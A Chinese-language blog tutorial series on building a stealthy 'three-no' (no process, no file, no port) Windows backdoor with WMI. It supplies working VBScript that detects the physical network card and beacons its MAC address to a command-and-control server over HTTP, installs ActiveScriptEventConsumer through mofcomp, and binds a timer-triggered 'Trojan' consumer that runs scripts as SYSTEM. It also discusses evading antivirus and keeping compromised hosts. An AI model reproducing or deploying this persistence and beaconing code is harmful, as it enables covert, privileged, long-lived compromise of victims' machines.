Welcome!各位ScriptKid,欢迎来到脚本世界。从今天开始小弟我会连载这篇《利用WMI打造完美“三无”后门》。
序章
在正式开始之前,请允许小弟先介绍一下时代背景,人物性格。
这个后门完成于2006年的这个时候。其主要的思路来自于zzzevazzz大虾的《深入挖掘windows脚本技术》,感谢zzzevazzz提供了一个这么好的思路。其另外的一篇《Do All in Cmd Shell》也是一篇非常不错的文章。顺便提一句,本文欢迎一切形式的转载,复制粘贴,但请至少保留zzzevazzz字样,谢谢。
在这篇连载里我不会向大家介绍一个完整的可运行的wmi后门代码,而会将其按照运作的流程结构以及功能,分别给大家介绍一下强大的wmi和vbscript脚本带给我们的好处。有想用来干坏事的同学请自行研究,You are not Welcome.
先来看一下什么叫做“三无”:无进程,无文件,无端口。
无进程:WMI后门不具有自己的进程
无文件:WMI后门在你的机器上不会存留任何文件,不以其自身代码实体存活于硬盘。
无端口:WMI后门不监听任何端口
已实现的功能:
1、SHELL命令执行
2、下载者功能
3、获取目标机任意文件
4、U盘等移动设备感染
5、......
在这个诸如卡巴一类的AV越来越强大,管理员越来越BT的时代,一个鲜为人知的脚本后门可能是包黑黑之类同学保住windows肉鸡的最后防线,哈哈。just a joke.要去喂乐乐了,明天给大家带来第一篇实质一点的内容《利用WMI打造完美“三无”后门-消灭一切假网卡》。
乐乐是谁?请参见我的头像。
消灭一切假网卡
Welcome!各位ScriptKid,欢迎来到脚本世界。
这年头,貌似除了我们呼吸的空气,什么都有假的,有的假的比那真的还真的。更别说在0101的虚拟世界了。hi,请问你是阿猫还是阿狗?:)
如何从一大堆诸如VMWARE之类的软件所模拟的假网卡中找到那块我们需要的真实的物理网卡并且确定确实有个真的网线插在上面,是摆在我们面前的第一个问题。更何况,用MAC地址来进行机器管理,相对还比较可靠^0^
WMI里主要有关网卡的类有三个:Win32_NetworkAdapter,Win32_NetworkAdapterConfiguration和Win32_NetworkAdapterSetting,都是位于CIMV2名称空间。
Win32_NetworkAdapterSetting就不说了,只有2个属性:Element和Setting。
Win32_NetworkAdapter,Win32_NetworkAdapterConfiguration里面都有关于网卡的大量的属性数据,看来还比较靠谱。
以下是我用来判断真实物理网卡的第一份代码:
Set MacAddressInfos = WMIService.ExecQuery("Select * from Win32_NetworkAdapterConfiguration Where IPEnabled = True") For Each MacAddressInfo in MacAddressInfos strIPAddress = Join(MacAddressInfo.IPAddress, ",") If NOT (MacAddressInfo.ServiceName = "VMnetAdapter") AND NOT (MacAddressInfo.ServiceName = "NdisIP") AND NOT (strIPAddress = "0.0.0.0") AND NOT (strIPAddress = "") Then Http.Open "GET","http://"&CmdServer&"/"&ServerPath&"/"&ServerMacFile&"?macaddress="&MacAddressInfo.MACAddress,true Http.send Else
End If
判断条件是当该网卡在网络上使用IP,并且服务名不是VMnetAdapter或者NdisIP,并且IP地址不为空或者0.0.0.0时,这网卡就是真实物理网卡。开始时,美滋滋的,真的找出物理网卡了,后来越想越不对劲,要是这虚拟网卡不是VMWARE创建的虚拟网卡,那不就抓瞎了?经过强烈的大脑活动,有了以下的这份判断真实物理网卡的代码:
Set MacAddressInfos = WMIService.ExecQuery("Select * from Win32_NetworkAdapter") For Each MacAddressInfo in MacAddressInfos If NOT IsNull(MacAddressInfo.MACAddress) Then If (InStr(MacAddressInfo.PNPDeviceID,"PCI") > 0) And (MacAddressInfo.NetConnectionStatus = 2) Then Wscript.sleep 3000 Http.Open "GET","http://"&CmdServer&"/"&ServerPath&"/"&ServerMacFile&"?macaddress="&MacAddressInfo.MACAddress,true Http.send Wscript.sleep 3000 End If End If
判断条件是在mac地址不为空的网卡中,如果PNPDeviceID中还有PCI字样并且网络连接状态是已连接上的网卡,那就是咱要找的真实物理网卡。经过威逼利诱,巧取豪夺,坑蒙拐骗在超过20台PC上的测试后,目前还没出现过差错。当然了,面对多个真实物理网卡的环境,加上第一份代码中的某些判断条件,会更加准确。
如果有同学认为有可能绕过这个判断的话,欢迎挑战,我会及时修正。
明天就是周末了,台风“鹦鹉”也要来了。如果我不被台风吹跑并且也不用考英语考试的话。。会给大家继续下一篇
《利用WMI打造完美“三无”后门-The Core》
Welcome!各位ScriptKid,欢迎来到脚本世界。
今天忙了一天,比较累。不废话那么多了,切入正题。
这个“三无”后门的核心就是WMI中的永久事件消费者ActiveScriptEventConsumer(以下简称ASEC)。WMI中有许多这类的事件消费者,简单的来说,当与其绑定的事件到达时,消费者就会被触发执行预先定义好的功能。例如可以用来执行二进制程序的CommandLineEventConsumer等等
ASEC是WMI中的一个标准永久事件消费者。它的作用是当与其绑定的一个事件到达时,可以执行一段预先设定好的JS/VBS脚本。
先来看一下其原型:
class ActiveScriptEventConsumer : __EventConsumer { uint8 CreatorSID = {1,1,0,0,0,0,0,5,18,0,0,0}; //事件消费者的CreatorSID 只读 uint32 KillTimeout = 0; //脚本允许被执行的时间 默认为0,脚本不会被终止 string MachineName;
uint32 MaximumQueueSize;
string Name; //自定义的事件消费者的名字。 string ScriptingEngine; //用于解释脚本的脚本引擎。VBScript或者JScript string ScriptFileName; //如果你想从一个文件里面读取想执行的脚本的话,写上这里吧。 string ScriptText; //用于执行的脚本代码。与ScriptFileName不共戴天。有你没我,有我没你 };
ASEC的安装
对于XP以后的系统来说,ASEC已经默认安装到了root\subscription名称空间。我们可以直接调用。2000自带有ASEC的mof文件,但是没有默认安装,需要我们自己安装。另外由于大部分的事件都是在root\cimv2里产生,所以如果你想直接捕获一些系统事件作为触发器的话,还得在其他的名称空间中安装ASEC。来看一下在2000/XP/Vista下安装ASEC到root\cimv2的代码。
Function InstallASECForWin2K '安装ASEC For Windows 2000' Dim ASECPath2K ASECPath2K = XShell.Expandenvironmentstrings("%windir%\system32\wbem\") Set MofFile = FSO.opentextfile(ASECPath2K&"scrcons.mof",1,False) MofContent = MofFile.Readall MofFile.Close MofContent = Replace(MofContent,"\\Default","\\cimv2",1,1) ‘替换默认的名称空间 TempMofFile=ASECPath2K&"Temp.mof" Set TempMof=FSO.CreateTextFile(TempMofFile,False,True) TempMof.Write MofContent TempMof.close XShell.run "mofcomp.exe -N:root\cimv2 "&TempMofFile,0,TRUE FSO.DeleteFile(TempMofFile) ASECStatus = "Ready" 'Wscript.Echo "ASECForWin2K Install OK!" End Function
Function InstallASECForWinXP '安装ASEC For Windows XP' Dim ASECPathXP XPASECPath = XShell.Expandenvironmentstrings("%windir%\system32\wbem\") XShell.run "mofcomp.exe -N:root\cimv2 "&XPASECPath&"scrcons.mof",0,TRUE '直接运行安装即可 ASECStatus = "Ready" 'Wscript.Echo "ASECForWinXP Install OK!" End Function
Function InstallASECForVista '安装ASEC For Windows Vista' Dim ASECPath2K ASECPath2K = XShell.Expandenvironmentstrings("%windir%\system32\wbem\") Set f = FSO.GetFile(ASECPath2K&"scrcons.mof") Set MofFile = f.OpenAsTextStream(1,-2) 'Set MofFile = FSO.opentextfile(ASECPath2K&"scrcons.mof",1,False) MofContent = MofFile.Readall MofFile.Close MofContent = Replace(MofContent,"#pragma autorecover","",1,1) //需要删除autorecover,否则安装出错 TempMofFile=ASECPath2K&"Temp.mof" Set TempMof=FSO.CreateTextFile(TempMofFile,False,True) TempMof.Write MofContent TempMof.close XShell.run "mofcomp.exe -N:root\cimv2 "&TempMofFile,0,TRUE FSO.DeleteFile(TempMofFile) ASECStatus = "Ready" 'Wscript.Echo "ASECForWinVista Install OK!" End Function
再来看一个绑定事件和ASEC的实例。
Function InstallUpdateableTrojan WMILink="winmgmts:\\.\root\cimv2:" //ASEC所在的名称空间 TrojanName="ScriptKids" //自定义的消费者名字,也就是你的后门的名字 TrojanRunTimer=30000 //自定义的脚本运行间隔
strtxt="" //自定义的脚本内容。为了隐蔽我们就不用scriptfilename了。会被Windows编码后写入CIM存储库
'配置事件消费者' set Asec=getobject(WMILink&"ActiveScriptEventConsumer").spawninstance_ Asec.name=TrojanName&"_consumer" Asec.scriptingengine="vbscript" Asec.scripttext=strtxt set Asecpath=Asec.put_
'配置计时器' set WMITimer=getobject(WMILink&"__IntervalTimerInstruction").spawninstance_ WMITimer.timerid=TrojanName&"_WMITimer" WMITimer.intervalbetweenevents=TrojanRunTimer WMITimer.skipifpassed=false WMITimer.put_
'配置事件过滤器' set EventFilter=getobject(WMILink&"__EventFilter").spawninstance_ EventFilter.name=TrojanName&"_filter" EventFilter.query="select * from __timerevent where timerid="""&TrojanName&"_WMITimer""" EventFilter.querylanguage="wql" set FilterPath=EventFilter.put_
'绑定消费者和过滤器' set Binds=getobject(WMILink&"__FilterToConsumerBinding").spawninstance_ Binds.consumer=Asecpath.path Binds.filter=FilterPath.path Binds.put_
End Function
以上代码的含义就是当我们自定义的一个计时器事件发生时,会被我们所配置的事件过滤器捕获到,并触发与过滤器绑定的消费者,也就是我们自定义了脚本的ASEC。达到我们每隔30秒执行一次我们自定义的脚本的目的。很简单吧:)
最后要说的是,我们自定义的脚本运行时,是由系统自带的scrcons.exe作为脚本宿主进行解析,而scrcons.exe是由系统以SYSTEM权限启动的,也就是说,我们的脚本是以SYSTEM权限执行,并且其所创建的任意进程都会继承SYSTEM权限。美中不足的就是,每当脚本执行时,会平白多出一个scrcons.exe的系统进程。这也是这个脚本后门目前最容易被发现的一个弱点。不过,当这个脚本24小时才运行一次时,有多少人会注意到呢?
|